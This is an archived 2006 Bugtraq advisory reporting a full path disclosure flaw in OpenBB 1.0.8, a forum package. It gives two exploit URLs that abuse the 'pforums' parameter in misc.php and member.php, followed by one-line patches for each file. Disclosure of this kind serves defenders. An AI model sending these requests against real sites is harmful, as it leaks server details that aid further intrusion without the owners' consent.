bugtraq - OpenBB 1.0.8 Full Path Disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 28 Apr 2006 18:50:09 -0000
From: o.y.6@...mail.com
To: bugtraq@...urityfocus.com
Subject: OpenBB 1.0.8 Full Path Disclosure


OpenBB 1.0.8 Full Path Disclosure

	Bug Found By :- Devil-00

    Gr33tz :- Www.securitygurus.neT
    					Rock Master
                        Hackers Pal
                        n0m3rcy

-= 1-2 =-

   Full Path Disclosure

        Exploits :-
    	/OpenBB/misc.php?action=latest&pforums=D3vil-0x1
        /OpenBB/member.php?action=online&&pforums=D3vil-0x1

Fix It :-

misc.php

	Add This Line To '36' Line Number

[code]
$pforums = array(); # D3vil-0x1 Fix
[/code]

-------------------------------------

member.php

	Add This Line To '759' Line Number

[code]
$pforums = array(); # D3vil-0x1 Fix
[/code]